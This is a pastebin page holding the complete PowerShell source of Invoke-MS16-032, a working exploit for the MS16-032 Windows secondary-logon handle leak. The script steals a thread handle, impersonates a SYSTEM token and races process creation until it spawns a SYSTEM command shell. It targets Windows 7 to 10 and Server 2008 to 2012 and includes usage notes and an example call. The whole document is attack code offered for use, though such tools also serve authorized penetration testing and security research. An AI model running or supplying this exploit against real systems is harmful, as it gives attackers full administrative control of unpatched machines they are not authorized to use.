Facebook
From 1, 4 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 633
  1. function Invoke-MS16-032 {
  2. <#
  3. .SYNOPSIS
  4.    
  5.     PowerShell implementation of MS16-032. The exploit targets all vulnerable
  6.     operating systems that support PowerShell v2+. Credit for the discovery of
  7.     the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
  8.    
  9.     Targets:
  10.    
  11.     * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
  12.     * Tested on x32 Win7, x64 Win8, x64 2k12R2
  13.    
  14.     Notes:
  15.    
  16.     * In order for the race condition to succeed the machine must have 2+ CPU
  17.       cores. If testing in a VM just make sure to add a core if needed mkay.
  18.     * Want to know more about MS16-032 ==>
  19.       https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
  20.  
  21. .DESCRIPTION
  22.         Author: Ruben Boonen (@FuzzySec)
  23.         Blog: http://www.fuzzysecurity.com/
  24.         License: BSD 3-Clause
  25.         Required Dependencies: PowerShell v2+
  26.         Optional Dependencies: None
  27.    
  28. .EXAMPLE
  29.         C:\PS> Invoke-MS16-032
  30. #>
  31.         Add-Type -TypeDefinition @"
  32.         using System;
  33.         using System.Diagnostics;
  34.         using System.Runtime.InteropServices;
  35.         using System.Security.Principal;
  36.        
  37.         [StructLayout(LayoutKind.Sequential)]
  38.         public struct PROCESS_INFORMATION
  39.         {
  40.                 public IntPtr hProcess;
  41.                 public IntPtr hThread;
  42.                 public int dwProcessId;
  43.                 public int dwThreadId;
  44.         }
  45.        
  46.         [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
  47.         public struct STARTUPINFO
  48.         {
  49.                 public Int32 cb;
  50.                 public string lpReserved;
  51.                 public string lpDesktop;
  52.                 public string lpTitle;
  53.                 public Int32 dwX;
  54.                 public Int32 dwY;
  55.                 public Int32 dwXSize;
  56.                 public Int32 dwYSize;
  57.                 public Int32 dwXCountChars;
  58.                 public Int32 dwYCountChars;
  59.                 public Int32 dwFillAttribute;
  60.                 public Int32 dwFlags;
  61.                 public Int16 wShowWindow;
  62.                 public Int16 cbReserved2;
  63.                 public IntPtr lpReserved2;
  64.                 public IntPtr hStdInput;
  65.                 public IntPtr hStdOutput;
  66.                 public IntPtr hStdError;
  67.         }
  68.        
  69.         [StructLayout(LayoutKind.Sequential)]
  70.         public struct SQOS
  71.         {
  72.                 public int Length;
  73.                 public int ImpersonationLevel;
  74.                 public int ContextTrackingMode;
  75.                 public bool EffectiveOnly;
  76.         }
  77.        
  78.         public static class Advapi32
  79.         {
  80.                 [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
  81.                 public static extern bool CreateProcessWithLogonW(
  82.                         String userName,
  83.                         String domain,
  84.                         String password,
  85.                         int logonFlags,
  86.                         String applicationName,
  87.                         String commandLine,
  88.                         int creationFlags,
  89.                         int environment,
  90.                         String currentDirectory,
  91.                         ref  STARTUPINFO startupInfo,
  92.                         out PROCESS_INFORMATION processInformation);
  93.                        
  94.                 [DllImport("advapi32.dll", SetLastError=true)]
  95.                 public static extern bool SetThreadToken(
  96.                         ref IntPtr Thread,
  97.                         IntPtr Token);
  98.                        
  99.                 [DllImport("advapi32.dll", SetLastError=true)]
  100.                 public static extern bool OpenThreadToken(
  101.                         IntPtr ThreadHandle,
  102.                         int DesiredAccess,
  103.                         bool OpenAsSelf,
  104.                         out IntPtr TokenHandle);
  105.                        
  106.                 [DllImport("advapi32.dll", SetLastError=true)]
  107.                 public static extern bool OpenProcessToken(
  108.                         IntPtr ProcessHandle,
  109.                         int DesiredAccess,
  110.                         ref IntPtr TokenHandle);
  111.                        
  112.                 [DllImport("advapi32.dll", SetLastError=true)]
  113.                 public extern static bool DuplicateToken(
  114.                         IntPtr ExistingTokenHandle,
  115.                         int SECURITY_IMPERSONATION_LEVEL,
  116.                         ref IntPtr DuplicateTokenHandle);
  117.         }
  118.        
  119.         public static class Kernel32
  120.         {
  121.                 [DllImport("kernel32.dll")]
  122.                 public static extern uint GetLastError();
  123.        
  124.                 [DllImport("kernel32.dll", SetLastError=true)]
  125.                 public static extern IntPtr GetCurrentProcess();
  126.        
  127.                 [DllImport("kernel32.dll", SetLastError=true)]
  128.                 public static extern IntPtr GetCurrentThread();
  129.                
  130.                 [DllImport("kernel32.dll", SetLastError=true)]
  131.                 public static extern int GetThreadId(IntPtr hThread);
  132.                
  133.                 [DllImport("kernel32.dll", SetLastError = true)]
  134.                 public static extern int GetProcessIdOfThread(IntPtr handle);
  135.                
  136.                 [DllImport("kernel32.dll",SetLastError=true)]
  137.                 public static extern int SuspendThread(IntPtr hThread);
  138.                
  139.                 [DllImport("kernel32.dll",SetLastError=true)]
  140.                 public static extern int ResumeThread(IntPtr hThread);
  141.                
  142.                 [DllImport("kernel32.dll", SetLastError=true)]
  143.                 public static extern bool TerminateProcess(
  144.                         IntPtr hProcess,
  145.                         uint uExitCode);
  146.        
  147.                 [DllImport("kernel32.dll", SetLastError=true)]
  148.                 public static extern bool CloseHandle(IntPtr hObject);
  149.                
  150.                 [DllImport("kernel32.dll", SetLastError=true)]
  151.                 public static extern bool DuplicateHandle(
  152.                         IntPtr hSourceProcessHandle,
  153.                         IntPtr hSourceHandle,
  154.                         IntPtr hTargetProcessHandle,
  155.                         ref IntPtr lpTargetHandle,
  156.                         int dwDesiredAccess,
  157.                         bool bInheritHandle,
  158.                         int dwOptions);
  159.         }
  160.        
  161.         public static class Ntdll
  162.         {
  163.                 [DllImport("ntdll.dll", SetLastError=true)]
  164.                 public static extern int NtImpersonateThread(
  165.                         IntPtr ThreadHandle,
  166.                         IntPtr ThreadToImpersonate,
  167.                         ref SQOS SecurityQualityOfService);
  168.         }
  169. "@
  170.        
  171.         function Get-ThreadHandle {
  172.                 # StartupInfo Struct
  173.                 $StartupInfo = New-Object STARTUPINFO
  174.                 $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
  175.                 $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
  176.                 $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
  177.                 $StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
  178.                 $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
  179.                
  180.                 # ProcessInfo Struct
  181.                 $ProcessInfo = New-Object PROCESS_INFORMATION
  182.                
  183.                 # CreateProcessWithLogonW --> lpCurrentDirectory
  184.                 $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
  185.                
  186.                 # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
  187.                 $CallResult = [Advapi32]::CreateProcessWithLogonW(
  188.                         "user", "domain", "pass",
  189.                         0x00000002, "C:\Windows\System32\cmd.exe", "",
  190.                         0x00000004, $null, $GetCurrentPath,
  191.                         [ref]$StartupInfo, [ref]$ProcessInfo)
  192.                
  193.                 # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
  194.                 $lpTargetHandle = [IntPtr]::Zero
  195.                 $CallResult = [Kernel32]::DuplicateHandle(
  196.                         $ProcessInfo.hProcess, 0x4,
  197.                         [Kernel32]::GetCurrentProcess(),
  198.                         [ref]$lpTargetHandle, 0, $false,
  199.                         0x00000002)
  200.                
  201.                 # Clean up suspended process
  202.                 $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
  203.                 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
  204.                 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
  205.                
  206.                 $lpTargetHandle
  207.         }
  208.        
  209.         function Get-SystemToken {
  210.                 echo "`n[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($hThread))).ProcessName)"
  211.        
  212.                 $CallResult = [Kernel32]::SuspendThread($hThread)
  213.                 if ($CallResult -ne 0) {
  214.                         echo "[!] $hThread is a bad thread, exiting.."
  215.                         Return
  216.                 } echo "[+] Thread suspended"
  217.                
  218.                 echo "[>] Wiping current impersonation token"
  219.                 $CallResult = [Advapi32]::SetThreadToken([ref]$hThread, [IntPtr]::Zero)
  220.                 if (!$CallResult) {
  221.                         echo "[!] SetThreadToken failed, exiting.."
  222.                         $CallResult = [Kernel32]::ResumeThread($hThread)
  223.                         echo "[+] Thread resumed!"
  224.                         Return
  225.                 }
  226.                
  227.                 echo "[>] Building SYSTEM impersonation token"
  228.                 # SecurityQualityOfService struct
  229.                 $SQOS = New-Object SQOS
  230.                 $SQOS.ImpersonationLevel = 2 #SecurityImpersonation
  231.                 $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
  232.                 # Undocumented API's, I like your style Microsoft ;)
  233.                 $CallResult = [Ntdll]::NtImpersonateThread($hThread, $hThread, [ref]$sqos)
  234.                 if ($CallResult -ne 0) {
  235.                         echo "[!] NtImpersonateThread failed, exiting.."
  236.                         $CallResult = [Kernel32]::ResumeThread($hThread)
  237.                         echo "[+] Thread resumed!"
  238.                         Return
  239.                 }
  240.                
  241.                 # Null $SysTokenHandle
  242.                 $script:SysTokenHandle = [IntPtr]::Zero
  243.  
  244.                 # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
  245.                 $CallResult = [Advapi32]::OpenThreadToken($hThread, 0x0006, $false, [ref]$SysTokenHandle)
  246.                 if (!$CallResult) {
  247.                         echo "[!] OpenThreadToken failed, exiting.."
  248.                         $CallResult = [Kernel32]::ResumeThread($hThread)
  249.                         echo "[+] Thread resumed!"
  250.                         Return
  251.                 }
  252.                
  253.                 echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
  254.                 echo "[+] Resuming thread.."
  255.                 $CallResult = [Kernel32]::ResumeThread($hThread)
  256.         }
  257.        
  258.         # main() <--- ;)
  259.         $ms16032 = @"
  260.          __ __ ___ ___   ___     ___ ___ ___
  261.         |  V  |  _|_  | |  _|___|   |_  |_  |
  262.         |     |_  |_| |_| . |___| | |_  |  _|
  263.         |_|_|_|___|_____|___|   |___|___|___|
  264.                                            
  265.                        [by b33f -> @FuzzySec]
  266. "@
  267.        
  268.         $ms16032
  269.        
  270.         # Check logical processor count, race condition requires 2+
  271.         echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
  272.         if ($([System.Environment]::ProcessorCount) -lt 2) {
  273.                 echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
  274.                 Return
  275.         }
  276.        
  277.         echo "[>] Duplicating CreateProcessWithLogonW handle"
  278.         $hThread = Get-ThreadHandle
  279.        
  280.         # If no thread handle is captured, the box is patched
  281.         if ($hThread -eq 0) {
  282.                 echo "[!] No valid thread handle was captured, exiting!`n"
  283.                 Return
  284.         } else {
  285.                 echo "[?] Done, using thread handle: $hThread"
  286.         } echo "`n[*] Sniffing out privileged impersonation token.."
  287.        
  288.         # Get handle to SYSTEM access token
  289.         Get-SystemToken
  290.        
  291.         # If we fail a check in Get-SystemToken, exit
  292.         if ($SysTokenHandle -eq 0) {
  293.                 Return
  294.         }
  295.        
  296.         echo "`n[*] Sniffing out SYSTEM shell.."
  297.         echo "`n[>] Duplicating SYSTEM token"
  298.         $hDuplicateTokenHandle = [IntPtr]::Zero
  299.         $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
  300.        
  301.         # Simple PS runspace definition
  302.         echo "[>] Starting token race"
  303.         $Runspace = [runspacefactory]::CreateRunspace()
  304.         $StartTokenRace = [powershell]::Create()
  305.         $StartTokenRace.runspace = $Runspace
  306.         $Runspace.Open()
  307.         [void]$StartTokenRace.AddScript({
  308.                 Param ($hThread, $hDuplicateTokenHandle)
  309.                 while ($true) {
  310.                         $CallResult = [Advapi32]::SetThreadToken([ref]$hThread, $hDuplicateTokenHandle)
  311.                 }
  312.         }).AddArgument($hThread).AddArgument($hDuplicateTokenHandle)
  313.         $AscObj = $StartTokenRace.BeginInvoke()
  314.        
  315.         echo "[>] Starting process race"
  316.         # Adding a timeout (10 seconds) here to safeguard from edge-cases
  317.         $SafeGuard = [diagnostics.stopwatch]::StartNew()
  318.         while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
  319.  
  320.                 # StartupInfo Struct
  321.                 $StartupInfo = New-Object STARTUPINFO
  322.                 $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
  323.                
  324.                 # ProcessInfo Struct
  325.                 $ProcessInfo = New-Object PROCESS_INFORMATION
  326.                
  327.                 # CreateProcessWithLogonW --> lpCurrentDirectory
  328.                 $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
  329.                
  330.                 # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
  331.                 $CallResult = [Advapi32]::CreateProcessWithLogonW(
  332.                         "user", "domain", "pass",
  333.                         0x00000002, "C:\Windows\System32\cmd.exe", "",
  334.                         0x00000004, $null, $GetCurrentPath,
  335.                         [ref]$StartupInfo, [ref]$ProcessInfo)
  336.                
  337.                 #---
  338.                 # Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
  339.                 #---
  340.                 # Missing this check used to cause the exploit to fail sometimes.
  341.                 # If CreateProcessWithLogon fails OpenProcessToken won't succeed
  342.                 # but we obviously don't have a SYSTEM shell :'( . Should be 100%
  343.                 # reliable now!
  344.                 #---
  345.                 if (!$CallResult) {
  346.                         continue
  347.                 }
  348.                        
  349.                 $hTokenHandle = [IntPtr]::Zero
  350.                 $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
  351.                 # If we can't open the process token it's a SYSTEM shell!
  352.                 if (!$CallResult) {
  353.                         echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
  354.                         $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
  355.                         $StartTokenRace.Stop()
  356.                         $SafeGuard.Stop()
  357.                         Return
  358.                 }
  359.                        
  360.                 # Clean up suspended process
  361.                 $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
  362.                 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
  363.                 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
  364.  
  365.         }
  366.        
  367.         # Kill runspace & stopwatch if edge-case
  368.         $StartTokenRace.Stop()
  369.         $SafeGuard.Stop()
  370. }